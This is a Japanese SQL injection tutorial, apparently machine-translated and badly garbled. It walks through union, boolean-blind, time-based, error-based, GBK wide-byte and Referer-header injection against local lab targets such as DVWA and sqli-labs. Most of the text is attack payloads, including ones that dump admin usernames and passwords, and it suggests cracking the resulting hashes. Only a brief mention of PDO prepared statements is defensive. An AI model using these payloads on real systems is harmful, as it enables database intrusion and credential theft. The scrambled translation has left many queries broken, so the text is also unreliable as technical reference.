まず、SQLインジェクションとは何でしょう:
いわゆるSQLインジェクションは、WebフォームにSQLコマンドを介して挿入されたクエリ文字列を提出したり、ドメイン名またはページ要求を入力し、最終的には悪質なSQLコマンドを実行するサーバーを欺くためにしています。
SQLインジェクションの害は何ですか?
ハザード:データライブラリオフ漏れ、データベースを破壊し、サイトの改ざん、バックドア、getshell(サイト新株予約権)
なぜSQLインジェクションの脆弱性?
コード及びデータの相分離(エッセンス):ユーザによるコードデータ入力の実行の後端には、コード、原理に反するように実行することができます
(注入された理由)で得られた濾過または緩いずに前段のフィルタからバックエンドのデータ転送は、SQLインジェクション、任意に、制御可能なパラメータを制御することができるデータ転送の前
まず第一に、私はちょうど今は間違っ=なら、私を許して、学ぶ参照、SQLインジェクション方式の四〇から五種類を学びました。=
私は注入点は、かなりの時間コストながら、さまざまな方法で自分自身をインタビューする簡単な、大したことで見つけることができれば、SQLインジェクションは、私は思います。
だから、限り、SQLの脆弱性は、これらの場所に注入点を見つけるために、データベースとそこに対話するところが発生する可能性があるとして、非常に重要な友人です。
SQLインジェクション一般的なデータベース機能と定数
一般的なデータベース機能と定数
@@ TMPDIR一時ディレクトリ
@@ DATADIR
場所@@ BASEDIRデータベースが存在します
@@バージョンversion
@@現在のデータベースのホスト名の名前
ユーザー()
バージョン()バージョン
データベース()データベースを取得します。
CONCAT()
GROUP_CONCAT()
concat_wa()
SUBSTR():オラクル、MySQLの、MSSQのL /サブ():mysqlの、MSSQL /ミッド():mysqlの文字列傍受
注:三つのパラメータは、最初の文字が第二の開始インデックスであり、取られているが、第3の長さがとられ
左の列から取ら左(PA1(取得した文字列)、PA2(とら長))
右の列から取ら右(PA1(取得した文字列)、PA2(とら長))
)(眠る休眠データベースを許可します
ORD()は、文字ascllを表示します
(条件値の復帰条件が真であるか、文、条件が偽の値またはreturn文の場合)場合
もし(1 = 1、真、偽)
ときに最後の条件は、条件ELAS戻り値または文の条件が真または偽のステートメントである場合
1 SELECT、CASE WHEN THEN 1 = 1 "ハロー" ELAS "さようなら" END、3。
長さ()は、文字列の長さを計算します
合同お問い合わせ:
SELECT * FROM USERS WHERE ID = 1 UNION SELECT "A"、 "B"、 "C"。
USER_ID = 0,1組合1,2を選択するユーザ、組合1,2を選択し、ユーザー()、4,5、データベース()、7 SELECT * FROM。
MySQLデータベース:データベースのフィールドスケジュールIIIであります
MySQLの> 5,0
INFORMATION_SCHEMA MySQLの> 5.0は、システムライブラリが付属した後、要約(ライブラリ名、他のデータベース、テーブル名、フィールド名)
データを格納するテーブルの列(データベース名、テーブル名、フィールド名)、テーブルで3つの分野に注力する必要があります
TABLE_SCHEMAライブラリ名フィールドを格納する他のデータベース
table_name表名フィールドを格納する他のデータベース
フィールド名COLUMN_NAMEフィールドを格納する他のデータベース
information_schema.columnsからTABLE_SCHEMA、TABLE_NAME、COLUMN_NAMEを選択し; //データに対応するクエリTABLE_SCHEMA(ライブラリ名)は、table_name(テーブル名)、COLUMN_NAME(フィールド名)。
TABLE_SCHEMA、TABLE_NAME、ここTABLE_SCHEMAは=「dvwa」information_schema.columnsからCOLUMN_NAMEを選択し、dvwaライブラリのデータベースにすべてのテーブルとフィールドの概要を照会する(Hexはdvwaを実行することができます)
ハンド注射(食事ああノックノック){7つの段階に分かれ、私は5つのステップで十分と考えています}
1、注入点(可能なSQLインジェクション)の検出、悪質なコードのいくつかの検出を入力する必要が背後にある同様のID(ID / UID /タイプID / SID /キー~~)引数(グーグルハッキング:)を見つけます:
"
「と1 = 1#
「と1 = 2--
-1' または '1' = '1
~~~~~~~
それとも、単一引用符のようなバックエンドのSQL文を、ステッチによって決定されている必要があります。
ID = '$のID' 末端試験:ID = 1「と1 = 1%23
ID = $ IDを遠位試験:ID = 1と1 = 1%23
悪意のあるペイロードを入力すると、正常にSQLインジェクションのポイントが存在する場所を示す、(表示ページとエラー情報)が行われます
しかし、また次の注入方法を決定しますページの主に基づいて、エコー効果をインジェクションを使用する技術を決定します
バックエンドデータベースから選択された列の数、及びフロントエンドディスプレイにで複数の列を決定?
http:?5%の23で//localhost/jdy1.5/typeid.php型ID = 1つの順序
ページによれば、数字を交換する列の数が決定されたバックグラウンドのデータベース選択の結果、5であることを示し
組合は1,2,3,4,5%23を選択します
http:?//localhost/jdy1.5/typeid.phpのtypeid = 1000000000000組合1,2,3,4,5%23を選択します
前のステージ位置2に見られるように表示された表示ページには、SQL文の2に置き換えることができます
情報を収集するために2、バックエンドデータベース
ます。http:現在のユーザー見る//localhost/jdy1.5/typeid.phpのtypeid = 1000000000000組合を1を選択し、ユーザー()、3,4,5%23?
ます。http://localhost/jdy1.5/typeid.phpのtypeid = 1000000000000組合1を選択し、データベース()、3,4,5%23現在のデータベースを見ますか?
HTTP://localhost/jdy1.5/typeid.phpタイプID = 1000000000000ユニオン(information_schema.columnsからGROUP_CONCAT(別個TABLE_SCHEMA)を選択)、1を選択し、3,4,5-%23查看所有的库
grout_concatスプライシングパケットと個別の重複排除
3.データベース・テーブルの現在の名前を取得します。
HTTP://localhost/jdy1.5/typeid.phpタイプID = 1000000000000組合は、1を選択し(GROUP_CONCAT(別個のテーブル名を選択)information_schema.columns TABLE_SCHEMA = jdycmsから)、3,4,5-%23 // jdycms需要转16进制
4、現在のデータベースの下で指定されたテーブルのフィールド名を取得します
HTTP://localhost/jdy1.5/typeid.phpタイプID = 1000000000000組合、(TABLE_SCHEMA =データベース()information_schema.columnsからGROUP_CONCAT(別個COLUMN_NAME)を選択し、TABLE_NAME = jdy_admin)、3,4,5-%1を選択23
jdy_adminヘクスをオンにする必要があります
5、フィールドのデータ収集
http:?//localhost/jdy1.5/typeid.phpのtypeid = 1000000000000組合は、1を選択します(jdy_adminリミット0,1からGROUP_CONCAT(ユーザ名、0x7eの、パスワード)を選択)、3,4,5%23
〜最初の行から始まる0,1 0行が0x7eのある制限
すべての連結は、選択された行を表示GROUP_CONCAT
6、解読:CMD5 PMD5非常に多くの方法の解読
7、バックグラウンドでのログインを探して:推測、ディレクトリスキャン、情報収集
第二に、時間が:(ブラインドブラインドブラインドとブールに分かれています)
ブラインドは:バックグラウンドのデータベース内のユーザによって提出されたデータは、データを返さない後、この時点でのテストデータは、ブラインド技術を前面に表示することはできません使用する必要があります
ブールブラインドに基づきます
時間ベースのブラインド
ブラインドブル注:
'/ 1' 図1に示すように、プローブの入力点と1 = 1%23/1 'と' 1 '=' 1 23%
注:ユーザデータの転送は、実行のためにデータベースに持ち帰ったページの表示に応じているが、ここで注入点があるか否かを判断します
2、データベース情報(現在のユーザ名、現在のデータベース、バージョン)を収集
HTTP://localhost/sqli-labs-master/Less-8/index.php ID = 10' および長さ(ユーザが())14%23 =
ユーザー14(爆風に使用bpの配列)の長さがあります
3、
HTTP://localhost/sqli-labs-master/Less-8/index.php ID = 10' とASCII(SUBSTR(ユーザー()、1,1))= 114パーセント23?
ユーザは、その後のR 114〜順次ASC馬の最初の文字がルート@ localhostのが決定される(ASCを順次決定する文字を符号化するために使用されます)
ASCII(SUBSTR((TABLE_SCHEMA =データベース()は0,1制限information_schema.columnsから別個のテーブル名を選択し)、1,1))= 114
まず、テーブル名の長さを計算し、各文字を判断します
ユーザー:最終的に貴重なテーブルを見つけます
4.フィールドエグゼクティブテーブルを取得します。
テーブル名= 0x7573657273とTABLE_SCHEMA =データベース()は0,1制限information_schema.columnsから別個COLUMN_NAMEを選択
最初のフィールドは、私は、一次のフィールド名、フィールド名~~~~第二に従うと判断された文字です
最後に、敏感なフィールドを見つける:ユーザ名パスワード
5、後に指定したフィールドのデータへ
ユーザーは0,1を制限するからGROUP_CONCAT(ユーザ名、0x7eの、パスワード)を選択
図6に示すように、バックグラウンドで署名、暗号文データを復号
時間ベースのリテラシー注:
時間の概念:特定の機能を使用するには、データベースは、射出場合に、現在のページを表示するページを待つために特定の時間に実行することができます
機能:スリープ()
USER_ID = 1とIF(データベース(ユーザ())= 14、スリープ(5)、 '真')dvwa.users SELECT * FROM。
最終的には戻り値は、ブラウザの応答時間に焦点を当てる必要はありません
ベンチマーク(パラメータ1、パラメータ2)の実装は侵食回数は、パラメータ2は、機能または発現を用いた操作です。ベンチマーク(* 1000年1000000,1000)を選択します。
1、注入点を見つけます
2、データベース情報へのアクセス
現在のデータベースの長さ:
USER_ID = 1とIF(データベース(データベース())= 14、スリープ(5)、 '真')dvwa.users SELECT * FROM。
各文字を取得します。
USER_ID = 1とIF(ASCII(ストリング(データベース()、1,1))= 114、スリープ(5)、 '真')dvwa.users SELECT * FROM。
3.現在のデータベースのテーブルを取得します
、USER_ID = 1とIF(ORD(MID(()= TABLE_SCHEMAデータベース()は0,1制限infomation_schema.tablesから別個のテーブル名を選択し、1,1))= 102、スリープ(5)dvwa.users SELECT * FROM )「真」。
値テーブルを検索し、ユーザー
図4に示すように、テーブル内の指定されたフィールドを取得します
dvwa.usersここUSER_ID = 1とIF(ORD(MID(()= TABLE_SCHEMAデータベース()infomation_schema.tablesから別個のテーブル名を選択し、TABLE_NAME = 0x7573657273 0,1を制限する、1,1))= 102、スリープSELECT * FROM (5)、 '真')。
興味深いフィールド、ユーザ名・パスワードを探します
5、コンテンツへのアクセス
USER_ID = 1、IF(ORD(MID((dvwa.usersからCONCAT(管理者、0x7eの、パスワード)を選択0,1を制限する)1,1))= 102、睡眠(5)、」dvwa.usersから選択*真 ');
三つは、すなわち、有意な注射を与えられる:(エラー背面に基づいて判断します)
注入が与えられているに基づいて、
エラーの意味:、データベースの実装を与えられた後、私たちは、このような攻撃を行う必要があるデータとの誤差関数の設定ペイロードの一部の使用
誤差関数:
(1)EXTRACTVALUE(パラメータ1、パラメータ2)は、ターゲットXML文字列パラメータ1にクエリから返された文字列パラメータ2は、(チェックする必要があります)XPATH形式で、XMLドキュメントのフォーマット文字列の名前です。
EXTRACTVALUEを選択し(1、CONCAT(0x7Eを、(選択ユーザ())、0x7Eを))。
(2)UPDATEXML(パラメータ1、パラメータ2、パラメータ3)は、XML文書修飾ノードの値を変更する、パラメータがXMLドキュメントである、のXpathパラメータストリングフォーマットは2であり、3は、ルックアップパラメータ文字列形式の一致を置換されていますデータ
UPDATEXML(1、CONCAT(0x7Eを、(ユーザ())、0x7Eを)を選択し、1)を選択します。
注:最初の二つは、限られた長さのマルチプレックス32を与えられています
(3)床()関数、conutなければならない()は、関数rand()は0と1の間のランダム小数を生成するカウントし、所定のパラメータ(シード)は、それが種子の用途に応じて他の機能によって固定値goupを追加した場合(同じ目的を達成するための機能を使用するように置換されてもよいです!)
(SELECT COUNT(*)、連結(ユーザー()、床(RAND(0)* 2))は、xでinfomation_schema.tables群からX)Aから1を選択します
(すべてのレコードは、統計、連結(ユーザ()とカウント(*)を選択し、床(RAND(0)* 2))は、2つのパラメータをx infomation_schema.tables群からXとして全体的なXに従って順序付けされるスプライス)
データの性質は、特定のステートメントによって与えられたグループによって床に破裂しました。0又は1であり得る不確実性は、重要な原則によって(基であってもよい(2 *(0)ランダム)床である文によってグループを与えられた理由は、各行サイクルはデータを読み出すことで、結果を一時テーブルに保存され。キーは行ごとに読み出されるときにキーが一時テーブルに存在する場合、テーブルが更新された一時テーブル内の一時的なデータではない、キーが一時テーブルに存在しない場合、キーは、一時テーブルの行に挿入されます床によるデータ.groupは、(ランダム(0)* 2)エラーの主な理由であり、この時の場合(ランダム(0)* 2)、0であってもよい乱数、計算され、一時鍵テーブルフロアが存在するか否かを検出します一時的な表1行キーはランダム(0)*、このレコードデータベースは、挿入された今回の床を(それは乱数であるため、一時テーブルを挿入するだけでなく、ランダムな値を計算するために存在しないキー列0であります2)結果1は、例えば、エラーワードを挿入する際に、競合につながると乱数の算出された2つの検出値が挿入されています。
第四に、幅の広いバイトのメイン噴射)が従う特殊文字をエスケープ:(注射し
するmysql_query( "SET NAMES 'GBK'"); //文字セットエンコーディングを設定します
mysql_set_charset( "GBK"); //文字セットエンコーディングを設定します
mysql_real_escape_stringの()
フィルタパラメータを逃れ、同様の機能を有する機能は次のとおりaddslacher()、mysql_escape_string()[] PHP5.3を廃止した後、マジッククオート(magic_quotes_gpcのモジュール)、特定の記号「'\ヌル<>などのため、
GBKエンコーディング、文字の符号化モード、2つのバイトを使用してエンコードされた文字
1%DF '= 1%のDF \' = 1%DF%25%27 = 1(%のDF%25)%27 = 1 OP '
TID = '{$番号}' ニュースSELECT * FROM
SELECT * TID = '{1つのOPが'}「ニュースFROM - >与えられます
原則を形成する脆弱性:実行GBK符号化後のデータベースの結果、あなたは利用者から提出されたデータのフィルタリング機能を実行するには、バイト=ブロードをフィルタリングされます
試験手順
1、サイトにアクセスします。http:?// localhost /をgbksql / 01 / ID = 1「の戻り結果を表示するには
2は、http:? '1%のDF(81、81〜FE?後に高い使用するDFことを使用する理由)' // localhost /をgbksql / 01 / ID = 1%のDF ----> 1%のDF \ '---> 1%のdf5c ---ユン\> 1'
3は、http:// localhostの/ gbksql / 01 / ID = -1%81' 組合1を選択し、ユーザー()、3%23
PDOは広いSQLインジェクションを防ぐバイト:
PDO:データベースへの接続 - 「設定テンプレート - 」データバインディング - 「SQL文を実行
SQLインジェクションのほとんどを防ぐために$ Conn->のsetAttribute(PDO :: ATTR_EMULATE_PREPARES、偽)
https://www.jianshu.com/p/c0deb8061718
五、2パスエンコード注入:
デフォルトのブラウザをデコードした後、サーバーに到達し、フォームからURLエンコードされたデータになります
PHP、URLデコード機能は次のとおりです。urldecode()rawurldecode()
六、HTTPヘッダインジェクション:( SQL注入法)がHTTP応答パケットに基づいています
ステップ1:データベースセキュリティの名前
リファラー: 'またはUPDATEXML(1、CONCAT(' #」、(データベース()))、0)、 '')#
ステップ2:テーブルのユーザー
リファラー: 'またはUPDATEXML(1、CONCAT(' #」、(TABLE_SCHEMAは= INFORMATION_SCHEMA.TABLESからGROUP_CONCAT(TABLE_NAME)を選択 'セキュリティ'))、0)、 '')#
ステップ3:フィールド名ID、ユーザ名、パスワード
リファラー: 'またはUPDATEXML(1、CONCAT(' #」、(TABLE_SCHEMA = information_schema.columnsからGROUP_CONCAT(COLUMN_NAME)を選択し 'セキュリティ' とtable_nameは= 'ユーザ'))、0)、 '')#
ステップ4:データ
リファラー: 'またはUPDATEXML(1、CONCAT(' ')### ' 0,1を制限するユーザーから、ID、ユーザ名、パスワード))a))は、0」、((CONCAT_WSを(選択から選択*')'